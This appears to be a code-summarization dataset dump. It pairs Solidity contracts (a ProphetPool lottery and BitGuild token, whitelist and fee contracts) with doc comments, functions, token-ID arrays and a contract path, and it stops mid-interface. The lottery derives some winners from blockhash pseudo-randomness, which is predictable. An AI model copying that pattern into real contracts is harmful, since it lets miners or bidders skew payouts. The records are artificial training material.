_validateLengthAndUniqueness(A); } /** * Validate that address array lengths match, and calling address array are not empty * and contain no duplicate elements. * * @param A Array of addresses * @param B Array of addresses */ function validatePairsWithArray(address[] memory A, address[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bytes array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bytes */ function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate address array is not empty and contains no duplicate elements. * * @param A Array of addresses */ function _validateLengthAndUniqueness(address[] memory A) internal pure { require(A.length > 0, "Array length must be > 0"); require(!hasDuplicate(A), "Cannot duplicate addresses"); } } // Dependency file: contracts/interfaces/IWETH.sol // pragma solidity 0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title IWETH * @author Prophecy * * Interface for Wrapped Ether. This interface allows for interaction for wrapped ether's deposit and withdrawal * functionality. */ interface IWETH is IERC20{ function deposit() external payable; function withdraw(uint256 wad) external; } // Dependency file: contracts/interfaces/IController.sol // pragma solidity ^0.6.10; /** * @title IController * @author Prophecy */ interface IController { /** * Return WETH address. */ function getWeth() external view returns (address); /** * Getter for chanceToken */ function getChanceToken() external view returns (address); /** * Return VRF Key Hash. */ function getVrfKeyHash() external view returns (bytes32); /** * Return VRF Fee. */ function getVrfFee() external view returns (uint256); /** * Return Link Token address for VRF. */ function getLinkToken() external view returns (address); /** * Return VRF coordinator. */ function getVrfCoordinator() external view returns (address); /** * Return all pools addreses */ function getAllPools() external view returns (address[] memory); } // Dependency file: contracts/interfaces/IChanceToken.sol // pragma solidity ^0.6.10; /** * @title IChanceToken * @author Prophecy * * Interface for ChanceToken */ interface IChanceToken { /** * OWNER ALLOWED MINTER: Mint NFT */ function mint(address _account, uint256 _id, uint256 _amount) external; /** * OWNER ALLOWED BURNER: Burn NFT */ function burn(address _account, uint256 _id, uint256 _amount) external; } // Root file: contracts/ProphetPool.sol pragma solidity ^0.6.10; pragma experimental ABIEncoderV2; // import { VRFConsumerBase } from "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol"; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; // import { Uint256ArrayUtils } from "contracts/lib/Uint256ArrayUtils.sol"; // import { AddressArrayUtils } from "contracts/lib/AddressArrayUtils.sol"; // import { IWETH } from "contracts/interfaces/IWETH.sol"; // import { IController } from "contracts/interfaces/IController.sol"; // import { IChanceToken } from "contracts/interfaces/IChanceToken.sol"; /** * @title ProphetPool * @author Prophecy * * Smart contract that facilitates that draws lucky winners in the pool and distribute rewards to the winners. * It should be whitelisted for the mintable role for ChanceToken(ERC1155) */ contract ProphetPool is VRFConsumerBase, Ownable { using Uint256ArrayUtils for uint256[]; using AddressArrayUtils for address[]; /* ============ Structs ============ */ struct PoolConfig { uint256 numOfWinners; uint256 participantLimit; uint256 enterAmount; uint256 feePercentage; uint256 randomSeed; uint256 startedAt; } /* ============ Enums ============ */ enum PoolStatus { NOTSTARTED, INPROGRESS, CLOSED } /* ============ Events ============ */ event FeeRecipientSet(address indexed _feeRecipient); event MaxParticipationCompleted(address indexed _from); event RandomNumberGenerated(uint256 indexed randomness); event WinnersGenerated(uint256[] winnerIndexes); event PoolSettled(); event PoolStarted( uint256 participantLimit, uint256 numOfWinners, uint256 enterAmount, uint256 feePercentage, uint256 startedAt ); event PoolReset(); event EnteredPool(address indexed _participant, uint256 _amount, uint256 indexed _participantIndex); /* ============ State Variables ============ */ IController private controller; address private feeRecipient; string private poolName; IERC20 private enterToken; PoolStatus private poolStatus; PoolConfig private poolConfig; uint256 private chanceTokenId; address[] private participants; uint256[] private winnerIndexes; uint256 private totalEnteredAmount; uint256 private rewardPerParticipant; bool internal isRNDGenerated; uint256 internal randomResult; bool internal areWinnersGenerated; /* ============ Modifiers ============ */ modifier onlyValidPool() { require(participants.length < poolConfig.participantLimit, "exceed max"); require(poolStatus == PoolStatus.INPROGRESS, "in progress"); _; } modifier onlyEOA() { require(tx.origin == msg.sender, "should be EOA"); _; } /* ============ Constructor ============ */ /** * Create the ProphetPool with Chainlink VRF configuration for Random number generation. * * @param _poolName Pool name * @param _enterToken ERC20 token to enter the pool. If it's ETH pool, it should be WETH address * @param _controller Controller * @param _feeRecipient Where the fee go * @param _chanceTokenId ERC1155 Token id for chance token */ constructor( string memory _poolName, address _enterToken, address _controller, address _feeRecipient, uint256 _chanceTokenId ) public VRFConsumerBase(IController(_controller).getVrfCoordinator(), IController(_controller).getLinkToken()) { poolName = _poolName; enterToken = IERC20(_enterToken); controller = IController(_controller); feeRecipient = _feeRecipient; chanceTokenId = _chanceTokenId; poolStatus = PoolStatus.NOTSTARTED; } /* ============ External/Public Functions ============ */ /** * Set the Pool Config, initializes an instance of and start the pool. * * @param _numOfWinners Number of winners in the pool * @param _participantLimit Maximum number of paricipants * @param _enterAmount Exact amount to enter this pool * @param _feePercentage Manager fee of this pool * @param _randomSeed Seed for Random Number Generation */ function setPoolRules( uint256 _numOfWinners, uint256 _participantLimit, uint256 _enterAmount, uint256 _feePercentage, uint256 _randomSeed ) external onlyOwner { require(poolStatus == PoolStatus.NOTSTARTED, "in progress"); require(_numOfWinners != 0, "invalid numOfWinners"); require(_numOfWinners < _participantLimit, "too much numOfWinners"); poolConfig = PoolConfig( _numOfWinners, _participantLimit, _enterAmount, _feePercentage, _randomSeed, block.timestamp ); poolStatus = PoolStatus.INPROGRESS; emit PoolStarted( _participantLimit, _numOfWinners, _enterAmount, _feePercentage, block.timestamp ); } /** * Set the Pool Config, initializes an instance of and start the pool. * * @param _feeRecipient Number of winners in the pool */ function setFeeRecipient(address _feeRecipient) external onlyOwner { require(_feeRecipient != address(0), "invalid address"); feeRecipient = _feeRecipient; emit FeeRecipientSet(feeRecipient); } /** * Enter pool with ETH */ function enterPoolEth() external payable onlyValidPool onlyEOA returns (uint256) { require(msg.value == poolConfig.enterAmount, "insufficient amount"); if (!_isEthPool()) { revert("not accept ETH"); } // wrap ETH to WETH IWETH(controller.getWeth()).deposit{ value: msg.value }(); return _enterPool(); } /** * Enter pool with ERC20 token */ function enterPool() external onlyValidPool onlyEOA returns (uint256) { enterToken.transferFrom( msg.sender, address(this), poolConfig.enterAmount ); return _enterPool(); } /** * Settle the pool, the winners are selected randomly and fee is transfer to the manager. */ function settlePool() external { require(isRNDGenerated, "RND in progress"); require(poolStatus == PoolStatus.INPROGRESS, "pool in progress"); // generate winnerIndexes until the numOfWinners reach uint256 newRandom = randomResult; uint256 offset = 0; while(winnerIndexes.length < poolConfig.numOfWinners) { uint256 winningIndex = newRandom.mod(poolConfig.participantLimit); if (!winnerIndexes.contains(winningIndex)) { winnerIndexes.push(winningIndex); } offset = offset.add(1); newRandom = _getRandomNumberBlockchain(offset, newRandom); } areWinnersGenerated = true; emit WinnersGenerated(winnerIndexes); // set pool CLOSED status poolStatus = PoolStatus.CLOSED; // transfer fees uint256 feeAmount = totalEnteredAmount.mul(poolConfig.feePercentage).div(100); rewardPerParticipant = (totalEnteredAmount.sub(feeAmount)).div(poolConfig.numOfWinners); _transferEnterToken(feeRecipient, feeAmount); // collectRewards(); emit PoolSettled(); } /** * The winners of the pool can call this function to transfer their winnings * from the pool contract to their own address. */ function collectRewards() external { require(poolStatus == PoolStatus.CLOSED, "not settled"); for (uint256 i = 0; i < poolConfig.participantLimit; i = i.add(1)) { address player = participants[i]; if (winnerIndexes.contains(i)) { // if winner _transferEnterToken(player, rewardPerParticipant); } else { // if loser IChanceToken(controller.getChanceToken()).mint(player, chanceTokenId, 1); } } _resetPool(); } /** * The contract will receive Ether */ receive() external payable {} /** * Getter for controller */ function getController() external view returns (address) { return address(controller); } /** * Getter for fee recipient */ function getFeeRecipient() external view returns (address) { return feeRecipient; } /** * Getter for poolName */ function getPoolName() external view returns (string memory) { return poolName; } /** * Getter for enterToken */ function getEnterToken() external view returns (address) { return address(enterToken); } /** * Getter for chanceTokenId */ function getChanceTokenId() external view returns (uint256) { return chanceTokenId; } /** * Getter for poolStatus */ function getPoolStatus() external view returns (PoolStatus) { return poolStatus; } /** * Getter for poolConfig */ function getPoolConfig() external view returns (PoolConfig memory) { return poolConfig; } /** * Getter for totalEnteredAmount */ function getTotalEnteredAmount() external view returns (uint256) { return totalEnteredAmount; } /** * Getter for rewardPerParticipant */ function getRewardPerParticipant() external view returns (uint256) { return rewardPerParticipant; } /** * Get all participants */ function getParticipants() external view returns(address[] memory) { return participants; } /** * Get one participant by index * @param _index Index of the participants array */ function getParticipant(uint256 _index) external view returns(address) { return participants[_index]; } /** * Getter for winnerIndexes */ function getWinnerIndexes() external view returns(uint256[] memory) { return winnerIndexes; } /** * Get if the account is winner */ function isWinner(address _account) external view returns(bool) { (uint256 index, bool isExist) = participants.indexOf(_account); if (isExist) { return winnerIndexes.contains(index); } else { return false; } } /* ============ Private/Internal Functions ============ */ /** * Participant enters the pool and enter amount is transferred from the user to the pool. */ function _enterPool() internal returns(uint256 _participantIndex) { participants.push(msg.sender); totalEnteredAmount = totalEnteredAmount.add(poolConfig.enterAmount); if (participants.length == poolConfig.participantLimit) { emit MaxParticipationCompleted(msg.sender); _getRandomNumber(poolConfig.randomSeed); } _participantIndex = (participants.length).sub(1); emit EnteredPool(msg.sender, poolConfig.enterAmount, _participantIndex); } /** * Reset the pool, clears the existing state variable values and the pool can be initialized again. */ function _resetPool() internal { poolStatus = PoolStatus.INPROGRESS; delete totalEnteredAmount; delete rewardPerParticipant; isRNDGenerated = false; randomResult = 0; areWinnersGenerated = false; delete winnerIndexes; delete participants; emit PoolReset(); uint256 tokenBalance = enterToken.balanceOf(address(this)); if (tokenBalance > 0) { _transferEnterToken(feeRecipient, tokenBalance); } } /** * Transfer enterToken even it's ETH or ERC20. * * @param _to Offset to generate the random number * @param _amount Random number to generate the other random number */ function _transferEnterToken(address _to, uint256 _amount) internal { if (_isEthPool()) { IWETH(controller.getWeth()).withdraw(_amount); (bool status, ) = payable(_to).call{value: _amount}(""); require(status, "ETH not transferred"); } else { enterToken.transfer(address(_to), _amount); } } /** * Check pool is ETH pool or not */ function _isEthPool() internal view returns (bool) { return address(enterToken) == controller.getWeth(); } /** * Generate a random number based on the blockHash and random offset * * @param _offset Offset to generate the random number * @param _randomness Random number to generate the other random number */ function _getRandomNumberBlockchain(uint256 _offset, uint256 _randomness) internal view returns (uint256) { bytes32 baseHash = keccak256( abi.encodePacked( blockhash(block.number), bytes32(_offset), bytes32(_randomness) ) ); return uint256(baseHash); } /** * Calls ChainLink Oracle's inherited function for Random Number Generation. * The contract must have enough LINK required for VRF. * * @param _userProvidedSeed Seed to generate the random number */ function _getRandomNumber(uint256 _userProvidedSeed) internal returns (bytes32 requestId) { require( IERC20(controller.getLinkToken()).balanceOf(address(this)) >= controller.getVrfFee(), "not enough LINK" ); randomResult = 0; isRNDGenerated = false; return requestRandomness( controller.getVrfKeyHash(), controller.getVrfFee(), _userProvidedSeed ); } /** * Callback function used by VRF Coordinator. * * @param _randomness Generated random number */ function fulfillRandomness(bytes32, uint256 _randomness) internal override { randomResult = _randomness; isRNDGenerated = true; emit RandomNumberGenerated(_randomness); } }
* Validate that address and string array lengths match. Validate address array is not empty and contains no duplicate elements. @param A Array of addresses @param B Array of strings/
function validatePairsWithArray(address[] memory A, string[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); }
225,602
[ 1, 4270, 716, 1758, 471, 533, 526, 10917, 845, 18, 3554, 1758, 526, 353, 486, 1008, 471, 1914, 1158, 6751, 2186, 18, 225, 432, 540, 1510, 434, 6138, 225, 605, 540, 1510, 434, 2064, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1954, 10409, 1190, 1076, 12, 2867, 8526, 3778, 432, 16, 533, 8526, 3778, 605, 13, 2713, 16618, 288, 203, 3639, 2583, 12, 37, 18, 2469, 422, 605, 18, 2469, 16, 315, 1076, 769, 13484, 8863, 203, 3639, 389, 5662, 1782, 1876, 984, 18988, 15681, 12, 37, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xA53F96b7a7eCFd26bD1C3DC7F3dDEb8b9cc74239/sources/THEPROTECTOR.sol
Worst case if the SHIB autoswap doesn't work on mainnet
function updateDirectSwapShib(bool enabled) external onlyOwner() { swapSHIB = enabled; }
3,980,730
[ 1, 59, 280, 334, 648, 309, 326, 6122, 13450, 13133, 91, 438, 3302, 1404, 1440, 603, 2774, 2758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 5368, 12521, 1555, 495, 12, 6430, 3696, 13, 3903, 1338, 5541, 1435, 288, 203, 3639, 7720, 2664, 13450, 273, 3696, 31, 203, 565, 289, 203, 7010, 7010, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.22; contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract BitGuildToken { // Public variables of the token string public name = "BitGuild PLAT"; string public symbol = "PLAT"; uint8 public decimals = 18; uint256 public totalSupply = 10000000000 * 10 ** uint256(decimals); // 10 billion tokens; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * Initializes contract with initial supply tokens to the creator of the contract */ function BitGuildToken() public { balanceOf[msg.sender] = totalSupply; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /** * @title BitGuildAccessAdmin * @dev Allow two roles: 'owner' or 'operator' * - owner: admin/superuser (e.g. with financial rights) * - operator: can update configurations */ contract BitGuildAccessAdmin { address public owner; address[] public operators; uint public MAX_OPS = 20; // Default maximum number of operators allowed mapping(address => bool) public isOperator; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); event OperatorAdded(address operator); event OperatorRemoved(address operator); // @dev The BitGuildAccessAdmin constructor: sets owner to the sender account constructor() public { owner = msg.sender; } // @dev Throws if called by any account other than the owner. modifier onlyOwner() { require(msg.sender == owner); _; } // @dev Throws if called by any non-operator account. Owner has all ops rights. modifier onlyOperator() { require( isOperator[msg.sender] || msg.sender == owner, "Permission denied. Must be an operator or the owner." ); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require( _newOwner != address(0), "Invalid new owner address." ); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } /** * @dev Allows the current owner or operators to add operators * @param _newOperator New operator address */ function addOperator(address _newOperator) public onlyOwner { require( _newOperator != address(0), "Invalid new operator address." ); // Make sure no dups require( !isOperator[_newOperator], "New operator exists." ); // Only allow so many ops require( operators.length < MAX_OPS, "Overflow." ); operators.push(_newOperator); isOperator[_newOperator] = true; emit OperatorAdded(_newOperator); } /** * @dev Allows the current owner or operators to remove operator * @param _operator Address of the operator to be removed */ function removeOperator(address _operator) public onlyOwner { // Make sure operators array is not empty require( operators.length > 0, "No operator." ); // Make sure the operator exists require( isOperator[_operator], "Not an operator." ); // Manual array manipulation: // - replace the _operator with last operator in array // - remove the last item from array address lastOperator = operators[operators.length - 1]; for (uint i = 0; i < operators.length; i++) { if (operators[i] == _operator) { operators[i] = lastOperator; } } operators.length -= 1; // remove the last element isOperator[_operator] = false; emit OperatorRemoved(_operator); } // @dev Remove ALL operators function removeAllOps() public onlyOwner { for (uint i = 0; i < operators.length; i++) { isOperator[operators[i]] = false; } operators.length = 0; } } /** * @title BitGuildWhitelist * @dev A small smart contract to provide whitelist functionality and storage */ contract BitGuildWhitelist is BitGuildAccessAdmin { uint public total = 0; mapping (address => bool) public isWhitelisted; event AddressWhitelisted(address indexed addr, address operator); event AddressRemovedFromWhitelist(address indexed addr, address operator); // @dev Throws if _address is not in whitelist. modifier onlyWhitelisted(address _address) { require( isWhitelisted[_address], "Address is not on the whitelist." ); _; } // Doesn't accept eth function () external payable { revert(); } /** * @dev Allow operators to add whitelisted contracts * @param _newAddr New whitelisted contract address */ function addToWhitelist(address _newAddr) public onlyOperator { require( _newAddr != address(0), "Invalid new address." ); // Make sure no dups require( !isWhitelisted[_newAddr], "Address is already whitelisted." ); isWhitelisted[_newAddr] = true; total++; emit AddressWhitelisted(_newAddr, msg.sender); } /** * @dev Allow operators to remove a contract from the whitelist * @param _addr Contract address to be removed */ function removeFromWhitelist(address _addr) public onlyOperator { require( _addr != address(0), "Invalid address." ); // Make sure the address is in whitelist require( isWhitelisted[_addr], "Address not in whitelist." ); isWhitelisted[_addr] = false; if (total > 0) { total--; } emit AddressRemovedFromWhitelist(_addr, msg.sender); } /** * @dev Allow operators to update whitelist contracts in bulk * @param _addresses Array of addresses to be processed * @param _whitelisted Boolean value -- to add or remove from whitelist */ function whitelistAddresses(address[] _addresses, bool _whitelisted) public onlyOperator { for (uint i = 0; i < _addresses.length; i++) { address addr = _addresses[i]; if (isWhitelisted[addr] == _whitelisted) continue; if (_whitelisted) { addToWhitelist(addr); } else { removeFromWhitelist(addr); } } } } /** * @title BitGuildFeeProvider * @dev Fee definition, supports custom fees by seller or buyer or token combinations */ contract BitGuildFeeProvider is BitGuildAccessAdmin { // @dev Since default uint value is zero, need to distinguish Default vs No Fee uint constant NO_FEE = 10000; // @dev default % fee. Fixed is not supported. use percent * 100 to include 2 decimals uint defaultPercentFee = 500; // default fee: 5% mapping(bytes32 => uint) public customFee; // Allow buyer or seller or game discounts event LogFeeChanged(uint newPercentFee, uint oldPercentFee, address operator); event LogCustomFeeChanged(uint newPercentFee, uint oldPercentFee, address buyer, address seller, address token, address operator); // Default function () external payable { revert(); } /** * @dev Allow operators to update the fee for a custom combo * @param _newFee New fee in percent x 100 (to support decimals) */ function updateFee(uint _newFee) public onlyOperator { require(_newFee >= 0 && _newFee <= 10000, "Invalid percent fee."); uint oldPercentFee = defaultPercentFee; defaultPercentFee = _newFee; emit LogFeeChanged(_newFee, oldPercentFee, msg.sender); } /** * @dev Allow operators to update the fee for a custom combo * @param _newFee New fee in percent x 100 (to support decimals) * enter zero for default, 10000 for No Fee */ function updateCustomFee(uint _newFee, address _currency, address _buyer, address _seller, address _token) public onlyOperator { require(_newFee >= 0 && _newFee <= 10000, "Invalid percent fee."); bytes32 key = _getHash(_currency, _buyer, _seller, _token); uint oldPercentFee = customFee[key]; customFee[key] = _newFee; emit LogCustomFeeChanged(_newFee, oldPercentFee, _buyer, _seller, _token, msg.sender); } /** * @dev Calculate the custom fee based on buyer, seller, game token or combo of these */ function getFee(uint _price, address _currency, address _buyer, address _seller, address _token) public view returns(uint percent, uint fee) { bytes32 key = _getHash(_currency, _buyer, _seller, _token); uint customPercentFee = customFee[key]; (percent, fee) = _getFee(_price, customPercentFee); } function _getFee(uint _price, uint _percentFee) internal view returns(uint percent, uint fee) { require(_price >= 0, "Invalid price."); percent = _percentFee; // No data, set it to default if (_percentFee == 0) { percent = defaultPercentFee; } // Special value to set it to zero if (_percentFee == NO_FEE) { percent = 0; fee = 0; } else { fee = _safeMul(_price, percent) / 10000; // adjust for percent and decimal. division always truncate } } // get custom fee hash function _getHash(address _currency, address _buyer, address _seller, address _token) internal pure returns(bytes32 key) { key = keccak256(abi.encodePacked(_currency, _buyer, _seller, _token)); } // safe multiplication function _safeMul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } } pragma solidity ^0.4.24; interface ERC721 /* is ERC165 */ { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) external view returns (uint256); /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) external view returns (address); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param 